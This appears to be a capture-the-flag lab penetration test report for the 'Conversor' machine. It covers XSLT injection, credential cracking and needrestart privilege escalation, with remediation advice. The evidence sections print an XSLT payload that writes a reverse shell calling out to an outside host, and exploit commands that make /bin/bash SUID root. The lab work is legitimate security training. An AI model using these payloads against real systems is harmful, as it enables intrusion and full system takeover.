HACKTHEBOX

Penetration Test Report

Conversor Machine

HTB Certified Penetration Testing Specialist (CPTS) Exam Report

Candidate Name: Samurai

Customer: Conversor HTB

Version: 1.0

CONFIDENTIAL

February 4, 2026

Contents

1 Statement of Confidentiality

The contents of this document have been developed by Hack The Box. Hack The Box considers the contents of this document to be proprietary and business confidential information. This information is to be used only in the performance of its intended use.

2 Engagement Contacts

Contact	Title	Email
Assessor Contact		
Samurai	Pentester	samurai@htb.com
Customer Contact		
System Admin	Administrator	admin@conversor.htb

3 Executive Summary

Conversor HTB contracted Samurai to perform a Network Penetration Test of the ”Conversor” machine to identify security weaknesses. The assessment revealed critical vulnerabilities allowing for full system compromise.

3.1 Approach

Testing was performed under a ”Black Box” approach without credentials or advance knowledge of the environment.

3.2 Scope

The scope of this assessment included the following assets:

Host/IP Address	Description
conversor.htb	Target Web Server

3.3 Assessment Overview

During the penetration test, three major findings were identified: Remote Code Execution via XSLT injection, Credential Reuse via a hardcoded secret key, and Local Privilege Escalation via a misconfigured ‘needrestart‘ binary.

4 Network Penetration Test Assessment Summary

4.1 Summary of Findings

#	Severity	Finding Name
1	Critical	RCE via XSLT Server Side Injection
2	Critical	Privilege Escalation via Sudo Needrestart (CVE-2024-48990)
3	High	Hardcoded Secret Key & Credential Reuse

5 Internal Network Compromise Walkthrough

Detailed steps taken from initial access to compromise are listed below.

5.1 Detailed Walkthrough

1. **Initial Enumeration:** Identified a web application on port 80 utilizing 'app.py'. The source code was obtained, revealing an XSLT processing feature.

2. **Initial Access:** Exploited an XSLT injection vulnerability in the '/convert' endpoint. A malicious XSLT payload was uploaded to write a Python reverse shell to '/var/www/conversor.htb/scripts/shell.py'. This granted a shell as the 'www-data' user.

3. **Lateral Movement:** Analyzed the 'app.py' source code on the live server and found a hardcoded secret key `[REDACTED]`.

4. **Credential Dumping:** Used Python to dump the 'users' table from 'users.db'. The user 'fismathack' was identified with an MD5 hash.

5. **Password Cracking:** The hash for 'fismathack' was cracked to the plaintext password 'Keepmesafeandwarm'. This allowed lateral movement to the 'fismathack' user.

6. **Privilege Escalation:** The user 'fismathack' had 'sudo' rights to run '/usr/sbin/needrestart'. This binary was vulnerable to environment variable manipulation (PYTHONPATH). A malicious 'sitecustomize.py' was created, and 'needrestart' was tricked into executing it as root, granting full system access.

6 Remediation Summary

6.1 Short Term

- Disable the loading of external entities and extensions in the XSLT parser in 'app.py'.
- Rotate the `app.secret_key` and ensure it is not used as a user password.
- Revoke 'sudo' permissions for '/usr/sbin/needrestart' for unprivileged users.

6.2 Medium Term

- Implement input sanitization on all file uploads.
- Update 'needrestart' to the latest version to patch CVE-2024-48990.

6.3 Long Term

- Conduct regular code reviews and penetration tests.
- Implement strong password policies and secrets management.

7 Technical Findings Details

7.1 Finding 1: RCE via XSLT Injection

Category	Web Application Security
Severity	Critical (9.8)
Impact	Remote Code Execution
Remediation	Configure ‘lxml‘ to disable network and extension access.

Description:

The application allows users to upload XSLT files which are processed server-side. The parser configuration failed to restrict the ‘exslt‘ extension, allowing an attacker to write arbitrary files to the file system using ‘<exslt:document>‘.

Evidence:

Payload used to write a shell:

```
<xsl:template match="/">
  <exslt:document href="/var/www/conversor.htb/scripts/shell.py" method="
      text">
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.10.14.x",9001))
    ...
  </exslt:document>
</xsl:template>
```

7.2 Finding 2: Privilege Escalation (CVE-2024-48990)

Category	Local Privilege Escalation
Severity	Critical (9.0)
Impact	Root Compromise
Remediation	Update ‘needrestart‘ or restrict sudo access.

Description:
The ‘needrestart‘ utility, when run as root, can be tricked into inheriting environment variables (like ‘PYTHONPATH‘) from user-controlled processes if those processes are deemed ”outdated”. This allows an attacker to inject a malicious library that is executed with root privileges.

Evidence:
Exploit steps:

```
# 1. Malicious Library
echo 'import␣os;␣os.system("chmod␣u+s␣/bin/bash")' > /tmp/pwn/sitecustomize
    .py
# 2. Decoy Process
cp /usr/bin/python3 /tmp/pwn/python3
PYTHONPATH=/tmp/pwn /tmp/pwn/python3 -c "import␣time;␣time.sleep(100)" &
# 3. Force Outdated State
rm /tmp/pwn/python3
# 4. Trigger
sudo /usr/sbin/needrestart
```

A Appendix

A.1 Finding Severities

- **Critical:** 9.0 – 10.0
- **High:** 7.0 – 8.9
- **Medium:** 4.0 – 6.9
- **Low:** 0.1 – 3.9
- **Info:** 0.0

A.2 Host & Service Discovery

IP Address	Ports	Services
10.10.11.x	80	HTTP (Flask)

A.3 Flags Discovered

#	Host	Flag Location
1	conversor.htb	/home/fismathack/user.txt
2	conversor.htb	/root/root.txt